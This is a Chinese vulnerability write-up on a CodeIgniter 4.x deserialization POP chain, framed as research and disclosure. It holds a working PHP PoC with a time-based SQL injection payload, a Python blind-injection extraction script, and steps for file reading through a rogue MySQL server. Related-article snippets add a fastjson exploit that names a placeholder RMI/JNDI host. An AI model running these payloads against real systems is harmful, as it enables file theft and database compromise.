痛心的CodeIgniter4.x反序列化POP鏈挖掘報告

2022-01-26 FreeBuf

0x00 前言

CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。

文末有筆者與該廠商的一些「小故事」。

0x01 POP鏈分析

當然,反序列化漏洞需要反序列化操作的支撐,因此,筆者定義了一個觸發該反序列化漏洞的控制器,定義於:/app/Controllers/Home.php

主要內容於:

<?php namespace App\Controllers;
class Home extends BaseController{ public function index(){ unserialize($_GET['a']); }}

destruct魔術方法為反序列化漏洞最有效的方法,我們可以全局搜索一下destruct魔術方法的定義。

可以看到在/system/Cache/Handlers/RedisHandler.php中的__destruct魔術方法中,$this->redis非常靈活,它可以是任意類的實例化對象,那麼我們可以調用任意對象的close()方法。

全局搜索close()方法:

通過全局搜索可以看到,

在/system/Session/Handlers/MemcachedHandler.php文件中,存在一個close()方法,在264行的isset($this->memcached)是否存在,如果存在,則調用$this->memcached->delete($this->lockKey)方法,再次全局搜索delete方法。

通過全局搜索可以看到,在system/Model.php中定義了delete方法,雖然接收兩個參數,有幸的是CI框架將第二個參數給予了默認參數:$purge = false。

在之前的$this->memcached->delete($this->lockKey)雖然只傳遞進來一個參數,但是這種寫法將無視PHP版本號,將此代碼繼續運行下去。

921行調用了$this->builder()方法,我們看一下builder方法的定義。

在1198的賦值操作中可以看到 $table 是可控的,在1206行中進行賦值$this->db->table($table) 的返回內容,我們注意到在1201行進行檢測了$this->db->table的所屬類,如果我們想要代碼繼續往下執行,我們這裡只能將$this->db賦值為BaseConnection的實例化對象。

因為在1206行有調用BaseConnection的table成員方法,我們在 /system/Database/BaseConnection.php中查找一下table。

可以看到971行的str_replace操作,當前的類名為BaseConnection,替換後為BaseBuilder類,隨後進行 new BaseBuilder操作,以$tableName以及$this傳遞進去了,需要注意的是,$tableName是可控的。

找到 /system/Database/BaseBuilder.php 文件,並且搜索__construct魔術方法。如圖:

274行將可控的$tableName傳遞進from方法了,我們看一下from方法的定義。

CI框架將$from強制轉換為array類型,並且如果找不到「逗號」就會將$from傳遞到$this->trackAliases方法中。

我們看一下trackAliases方法的定義。

可以看到trackAliases只會處理「$from為數組、$from存在逗號、$from存在空格」的情況,那麼該函數我們可以先將其忽略,繼續往下審計。

可以看到,調用$this->db->protectIdentifiers方法。$this->db為BaseConnection類的實例,我們查找BaseConnection下的protectIdentifiers方法。如圖:

其中代碼邏輯貼在圖中,我們繼續往下審計即可。

我們回到調用處,查看一下往下的邏輯。

注意924行調用了BaseBuilder下的whereIn方法,我們看一下這個方法做了一些什麼操作。

可以看到$key再次傳入了_whereIn方法,我們看一下_whereIn方法都做了一些什麼操作。

隨後直接放入$whereIn這麼大的一個數組中,充當Where判斷的Key值。

那麼無疑這裡是存在一個SQL注入漏洞的。我們不著急,回到Model.php繼續往下通讀。

我們把重點放在952行調用的BaseBuilder下的delete方法,如圖:

2834行調用了resetWrite方法,跟蹤一下看看。

調用了$this->resetRun,繼續跟蹤。

我們可以看到,只是用來設置鍵值的。那麼我們看一下2837行的$this->db->query($sql, $this->binds, false)方法。

找到BaseConnection下的query方法,如圖:

繼續跟進initialize方法,如圖:

可以看到,調用了$this->connect($this->pConnect)方法,我們查找一下connect方法,如圖:

我們可以看到,前面存在abstract關鍵字,那麼我們全局搜索一下,extends BaseConnection。

如圖:

我們打開system/Database/MySQLi/Connection.php文件,查找connect方法,如圖:

這裡需要注意的是118行$this->strictOn以及140行$this->encrypt不要去定義。

下面就是我們期待已久的Mysql連結操作了。這裡可以利用「MySQL服務端惡意讀取客戶端文件漏洞」來進行任意文件讀取。

這一系列操作完成之後我們回到$this->initialize()魔術方法調用處。繼續往下審計。

實例化CodeIgniter\Database\Query類並調用它下面的getQuery()方法。

在system/Database/query.php找到該類,如圖:

可以看到是來解析佔位符的。

調用了compileBinds方法,跟進查看。

跟進404行的matchNamedBinds方法確認。

可以從圖中看到筆者的猜想是沒錯的。

那麼我們回到BaseConnection的query方法,繼續觀察。

可以看到調用了一個simpleQuery方法,我們跟進。

又傳入了execute方法,再次跟進,如圖:

可以看到又是抽象方法,那麼我們看看是誰繼承了BaseConnection,查找:

跟進並查找execute方法的定義。

此時我們可以看到

$this->connID->query($this->prepQuery($sql)),其實$this->connID已經是PHP的Mysqli原生類了,這裡我們需要跟進prepQuery方法,看他到底做了一些什麼操作。

這裡$this->deleteHack是可控的,我們無視即可,那麼prepQuery方法等同於什麼也沒幹,直接帶進了Mysqli::query() 方法,根據我們之前審計出的Model類的primaryKey成員屬性可以進行SQL注入(WHERE 條件處)。

到這裡筆者就沒有再次往下審計了,我們的目的只是 任意文件讀取+發送SQL語句。

反序列化的結果CI框架是百分百會拋出異常的,如圖:

再往下讀下去也沒有什麼可以利用的價值了。

0x02 通過CI定義的函數觸發反序列化

在我們之前分析POP鏈時,我們使用了unserialize函數來進行演示,那麼在CI框架中是否存在unserialize使用不當的問題呢?答案是肯定的。

我們看一下CI框架定義的old方法,如圖:

我們可以看到,782-786行使用「strpos($value, 'a:') === 0 || strpos($value, 's:') === 0」來讓old函數反序列化出必須為「數組/字符串」,但是這種手法是消極的,如果我們反序列化的內容為「a:1:{i:0;O:...}」這種情況還是可以進入到__destruct跳板,然後被利用。

那麼我們看一下old函數第768行與770行的邏輯。

$request = Services::request();
$value = $request->getOldInput($key);

我們看一下Services類下的request靜態方法。

我們可以看到,該方法返回了IncomingRequest類的實例,那麼$value = $request->getOldInput($key);也就是調用IncomingRequest實例下的getOldInput方法了,我們看一下該方法做了一些什麼操作。

可以看到,如果$_SESSION['_ci_old_input']的值不為空,那麼該方法就可以返回$_SESSION['_ci_old_input']['post'][$key]與$_SESSION['_ci_old_input']['get'][$key]。

那麼問題來了,我們如何將$_SESSION['_ci_old_input']['post'][$key]與$_SESSION['_ci_old_input']['get'][$key]可控呢?

我們全局搜索:'_ci_old_input',如圖:

我們可以看到在/system/HTTP/RedirectResponse.php文件中有提到_ci_old_input,那麼我們看一下第125行的$session = $this->ensureSession();,跟進ensureSession方法。如圖:

跟進:

這個方法只是用來對session進行一系列操作的,我們不需要管他,我們回過頭來繼續往下看。

下面的132行調用了setFlashdata方法,根據筆者猜想是用來設置$_SESSION[_ci_old_input]的值,我們跟進setFlashdata看一下邏輯。

在/system/Session/Session.php中的666行可以看到調用了set方法,我們跟進set方法。

看來筆者的猜想是沒錯的。

那麼我們將/app/Controllers/Home.php控制器定義為:

<?php namespace App\Controllers;class Home extends BaseController{public function index(){redirect()->withInput();//設置$_SESSION[『_ci_old_input』][『get』][a]的值old(『a』);//得到$_SESSION[『_ci_old_input』][『get』][a]的值,並進行反序列化操作}}

的效果與

<?php namespace App\Controllers;class Home extends BaseController{public function index(){unserialize($_GET[a]);}}

的效果是一模一樣的。只是我們編寫POC時,redirect()->withInput() && old(『a』); 這種方式,我們需要注意反序列化的結果一定是一個數組,為了POC的通用性,筆者將該POC生成的返回結果為數組。

0x03 POC編寫&&環境依賴

CI框架建立於PHP>=7.2版本,在這些版本中,PHP對屬性修飾符不太敏感,所以我們的POC類中的所有成員屬性的對象修飾符都定義為了public。

但是「MySQL服務端惡意讀取客戶端文件漏洞」在PHP7.3版本的Mysqli連結操作中被刻意注意到了這一點。所以該漏洞只能在PHP7.2.x版本中進行利用

POC如下:

<?phpnamespace CodeIgniter\Database\MySQLi;class Connection{public $hostname = '';  public $port = '';    public $database = '';  public $username = 'root';   public $password = 'root';   public $charset = 'utf8';   public $escapeChar = '';public $pretend = false;}
namespace CodeIgniter;class Model{public $db;public $table = "mysql.user";public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";public function __construct($db){$this->db = $db;}}

namespace CodeIgniter\Session\Handlers;class MemcachedHandler{public $lockKey = '123';public $memcached = 'a';public function __construct($memcached){$this->memcached = $memcached;}}
namespace CodeIgniter\Cache\Handlers;class RedisHandler{public $redis;public function __construct($redis){$this -> redis = $redis;}}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));echo urlencode(serialize($a));

0x04 漏洞演示一、任意文件讀取

需要用到的rogue_mysql_server.py腳本GitHub:https://github.com/Gifts/Rogue-MySql-Server

配置POC文件

配置惡意Mysql主機IP(攻擊者外網IP):

配置py腳本

配置完畢後攻擊機上運行py腳本

生成Payload

攻擊受害機的反序列化點

讀取到C:/Windows/win.ini的內容

二、SQL注入

我們可以通過任意文件讀取漏洞讀取出資料庫帳號密碼,然後再進行SQL注入。

生成Payload後發送:

成功睡眠一秒,但是這樣的注入對於我們來說是很麻煩的,這裡我們放在實戰中需要藉助於Python腳本來進行批量注入。

具體Python腳本實現思路為:

因為我們要與Python進行交互,那麼我們修改PHP-POC的內容為:

<?phpnamespace CodeIgniter\Database\MySQLi;class Connection{public $hostname = '127.0.0.1';  public $port = '3306';    public $database = 'laravel';  public $username = 'root';   public $password = 'root';   public $charset = 'utf8';   public $escapeChar = '';public $pretend = false;}
namespace CodeIgniter;class Model{public $db;public $table = "mysql.user";public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";public function __construct($db){$this->db = $db;$payload = $_GET['payload'];if(isset($payload)){$this->primaryKey = $payload;}}}

namespace CodeIgniter\Session\Handlers;class MemcachedHandler{public $lockKey = '123';public $memcached = 'a';public function __construct($memcached){$this->memcached = $memcached;}}
namespace CodeIgniter\Cache\Handlers;class RedisHandler{public $redis;public function __construct($redis){$this -> redis = $redis;}}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));echo serialize($a);

編寫PythonPoc為:

import requestsPHP_POC = 『http://www.ci.com/hack.php?payload=『 CI_HTTP = 『http://ci.com/public/index.php?a=『 data = 『』k = 1while True:bins = 『』for i in range(1, 8):payload = 「1=if(substr(lpad(bin(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))),7,0),%s,1)=1,sleep(1),0) — 「%(k,i)SeriaText = requests.get(PHP_POC + payload).texttry:requests.get(CI_HTTP + SeriaText, timeout=1, proxies={『http』:』127.0.0.1:8080』})bins += 『0』except Exception as res:bins += 『1』if bins == 『0000000』:breakelse:data += chr(int(bins, 2))k += 1print(data)

逐漸爆出表名:

0x05 與TP3.2.3對比思考

ThinkPHP3.2.3也存在類似的問題,參考:http://cn-sec.com/archives/236781.html

它們兩者漏洞的區別在於:

CI框架使用了mysql_init() 來進行資料庫連結,而TP則使用了PDO。這裡涉及到了堆疊與非堆疊問題。

CI框架的SQL注入處於WHERE條件,ThinkPHP3.2.3的SQL注入處於表名。

CI框架沒有DEBUG模式,很難進行報錯注入,而ThinkPHP存在DEBUG模式,可以進行報錯注入。

CI框架寫代碼有定義方法默認值的習慣,這樣在我們的反序列化中每個跳板顯得非常的圓潤,而TP3.2.3沒有定義默認值的習慣,這裡需要降低PHP版本,來實現反序列化。

CI框架只允許運行在PHP7.2及往上版本,而MySQL惡意伺服器文件讀取漏洞只能運行在PHP<7.3版本,所以本次漏洞挖掘只可以運行在剛剛好的PHP7.2.x。而ThinkPHP3.2.3可以運行在PHP5與PHP7版本,ThinkPHP3.2.3的反序列化鏈路只能運行在PHP5.x上,放在PHP7.x會報錯。

文章中將反序列化跳板直接寫上了,實際挖洞過程不忍直視…

0x06 「涼心」框架CI

筆者在4月9號挖掘到了該反序列化漏洞,但Mysql惡意伺服器只適用於PHP7.2.*版本,在4月9號筆者通過hackerone向廠商提交了該漏洞,搞不好還可以申請一個CVE編號呢。如圖(翻譯來的):

通過廠商的駁回,筆者當然向CNVD上交該漏洞了。

但CNVD那裡今天筆者突然得到了驗證失敗的「駁回」。

如圖:

隨後筆者去錄製驗證視頻時,發現漏洞被「修補」?

我們通過CI框架的官網看到,是適用於PHP7.2.*版本的,如圖:

可是為什麼提交給該廠商之前PHP7.2.可以運行,而廠商駁回後,PHP7.2.則無法運行了?相信大家心中也已經有了答案。

通過github的最後修改日期我們可以看到該廠商私自修復漏洞的日期。

這是一次痛心的挖洞提交過程,請問安全行業從業者,白帽子們的心血都去哪裡了?

相關焦點

  • ThinkPHP v5.1.x POP 鏈分析
    前段時間網上爆出 ThinkPHP 5.1.x 的 POP 鏈,早就想分析一下,正好最近有空,就記錄一下吧環境:MacOS 10.13MAMAP Prophp 7.0.33 + xdebug,深入了解請至:https://paper.seebug.org/680/如果對反序列化沒有了解的話建議先學習下相關內容ThinkPHP v5.1.x POP 鏈分析安裝這裡使用的是官方 ThinkPHP V5.1.38
  • 【技術分享】Laravel7反序列化POP鏈分析挖掘
    鏈如下, 暫時只能傳一個參數<?return $this->customCreators[$driver]($this->container);// call_user_func['x'](new class x(), 'x');call_user_func 傳一個參數, 這個參數就是回調函數, 回調的時候訪問該類中的其它函數執行
  • Laravel8反序列化POP鏈分析挖掘
    這個CVE的命令執行步驟中有一部分依賴於Phar反序列化的執行。相比較於目前被分析較多的Larave 5.X版本的POP鏈,Laravel 8 部分組件版本較新,部分類加上了__wake方法進行過濾或者直接禁止了反序列化,故利用方式有所差異。本文分析並挖掘了當前Laravel 8版本中的反序列化鏈。
  • fastjson反序列化
    當攻擊者輸入精心構造的字節流被反序列化為惡意對象時,就會造成一系列的安全問題。,針對Fastjson的漏洞挖掘主要在於以下兩個方面。exp:{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}autoTypeSupport屬性為true才能使用
  • 反序列化漏洞利用總結
    >然後更改變量數即可O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}存在多個魔法方法時,要弄清哪個魔法方法的優先級高PHP
  • 怎樣挖掘出屬於自己的php反序列化鏈
    A:RCTF2020中的swoole一題刺激到我了(,那道題找了兩天也找不到鏈。再後來第五空間2020的那個laravel也是找了一天,最後還是靠phpggc做了次腳本小子。我在想為啥我找不到鏈呢?故有此文。PS: 雖然寫的是一些總結性的東西。但作者也不過找到5條框架的鏈而已,見識還是太少。希望師傅們多多包涵,加以指正。
  • 反序列化漏洞的核心思維與案例解讀
    理解不安全反序列化的最好方法是了解不同的程式語言如何實現序列化和反序列化。這裡的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進位形式hashmap樹型等其他數據結構裡的序列化中間體)。總之,大多數面向對象的程式語言都具有類似的序列化和反序列化的接口或者說函數,但它們序列化對象的格式不同。
  • php 序列化與反序列化
    $fake_zval_string;}$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.
  • PHP phar反序列化原理詳解
    php的文件系統函數在通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化,知道創宇總結了以下函數:,以後phar反序列化也將逐漸淡出人們的視野。https://blog.csdn.net/qq_42181428/article/details/100995404    山石安研院是山石網科的信息安全智庫部門,主要負責反APT研究、出戰及承辦全球攻防賽事、高端攻防技術培訓、全球中英文安全預警分析發布、各類軟硬體漏洞挖掘和利用研究
  • python反序列化攻擊
    在該模塊中有兩個主要的類_Unpickler類和_Pickler,前者在反序列化的時候用到,後者在序列化的時候用到。python用pickle.dumps()進行序列化,用pickle.loads()進行反序列化有一點需要注意:對於我們自己定義的class,如果直接以形如date = 20191029的方式賦初值,則這個date不會被打包!
  • java安全之fastjson鏈分析
    在上述反序列化過程中需要多添加一個class類的參數:JsonTest.class而fastjson也提供了一種無需指定類的方式,稱為autotype,而這種autotype正是導致反序列化漏洞的原因。
  • 乾貨 | PHP反序列化原理及不同類別反序列化漏洞總結
    用於從不可訪問的屬性讀取數據__set() //用於將數據寫入不可訪問屬性 __invoke() //調用函數的方式調用一個對象時的回應方法__isset() //在不可訪的屬性上調用isset()或empty()觸發__unset()  //在不可訪的屬性上使用unset()時觸發public、protected、private下序列化對象區別php v7.x反序列化的時候對訪問類別不敏感
  • 關於反序列化攻擊方法探究
    這裡之所以產生漏洞其原因是可以將自定義的類進行序列化和反序列化。反序列化後產生的對象會在結束時觸發 __reduce__函數從而觸發自己的惡意代碼。):        pass    def __del__(self):       os.system(self.a)with open('log','r') as f:    pickle.load(f)情況2 利用reduce魔法函數利用reduce魔法函數重構序列化類,需要注意的是反序列化之後要使用的模塊必須由反序列化函數提供
  • 明晰 | Java序列化與反序列化
    因為一臺主機上有class類,另外一臺主機上沒有該class類,此時,需要進行反序列化。同時標識版本,使用serialVersionUID  定義一個靜態的版本。FileInputStream fis = new FileInputStream("d:/project/serial/data1"); ObjectInputStream ois = new ObjectInputStream(fis); //創建Object輸入流對象 data1 d = (data1)ois.readObject(); //從data1文件中反序列化出
  • 自己編寫一個區塊鏈送女友吧~
    真正區塊鏈頭中有很多有用的東西,如時間戳或隨機數值。我們可以根據需要將它們添加到BlockHeader。一堆難以使用的抽象類型本身並不十分有用。我們需要一種方法來挖掘新的塊來做任何有趣的事情。下面是序列化與反序列化我們所需類型的完整代碼:我僅包含了 deserialize 與 serialize 從而使得模塊的最終結果更為清晰。讓我們將其交給  Data.Binary 中的decode 與 encode 。
  • 6.28《區塊鏈每日必知》黑客利用惡意Docker鏡像挖掘Monero
    2020年06月28日《區塊鏈每日必知》黑客利用惡意Docker鏡像挖掘Monero 1、天津市委宣傳部副部長:將搶佔區塊鏈等風口,推動新舊動能轉換據光明網消息,在近日舉行的第四屆世界智能大會「構建數字經濟產業生態體系」高峰論壇上,天津市委宣傳部副部長、市委網信辦主任,市大數據管理中心黨委書記、主任王芸表示,未來將積極搶佔5G、人工智慧、區塊鏈等風口,不斷完善產業鏈、人才鏈、資金鍊、政策鏈,加快推動新舊動能轉換,大力支持傳統企業乘風向新藍海進軍。
  • 聊聊fastjson反序列化的那些坑
    (Date birthday){ this.birthday = birthday; } }@Datapublic class Money{ private Long money; private String Location;}當我們用fastjson序列化User類的對象後,會得到如下字符串:
  • 鏈知了首期區塊鏈項目大數據分析報告
    、對接官方、深度挖掘、大數據分析和評級預測等服務。鏈知了首期區塊鏈項目大數據分析報告數據來源:鏈知了資訊官網:http://www.lianzhiliao.com王輝林博士 等2018年3月25日Email:whl080500422@sina.com   鏈知了(www.lianzhiliao.com
  • Java序列化反序列化源碼---Jackson反序列化漏洞源碼分析
    ,進一步分析Jackson源碼,找出造成漏洞的原因,最後以Jackson2.9.2版本,JDK1.80_171,resin4.0.52,CVE-2020-10673為例復現漏洞。 Java 反序列化是指把字節序列恢復為 Java 對象的過程,ObjectInputStream 類的readObject() 方法用於反序列化。 RMI:是 Java 的一組擁護開發分布式應用程式的API,實現了不同作業系統之間程序的方法調用。